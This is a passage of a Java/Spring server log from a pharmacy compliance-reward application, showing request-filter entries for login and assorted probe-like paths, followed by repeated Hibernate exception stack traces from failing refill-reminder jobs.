2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:20 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:20 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:20 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/wp 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:20 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:20 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:20 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/bc 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:20 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:20 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:21 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/bk 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:21 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:21 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:21 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/backup 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:21 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:21 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:21 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/old 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:21 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:21 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:21 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/new 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:21 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:21 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:21 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:22 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/main 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:22 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:22 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:22 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/home 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:22 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:22 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:22 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:59:59 INFO successPOAExpiry:38 - .....AutoReminderForPOAExpiry Start..... 2024-02-26 01:59:59 INFO PatientProfileService:2275 - No folder associated to this campaign (System will return) 2024-02-26 01:59:59 INFO failedPOAExpiry:43 - There are no caretaker msg found. 2024-02-26 02:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 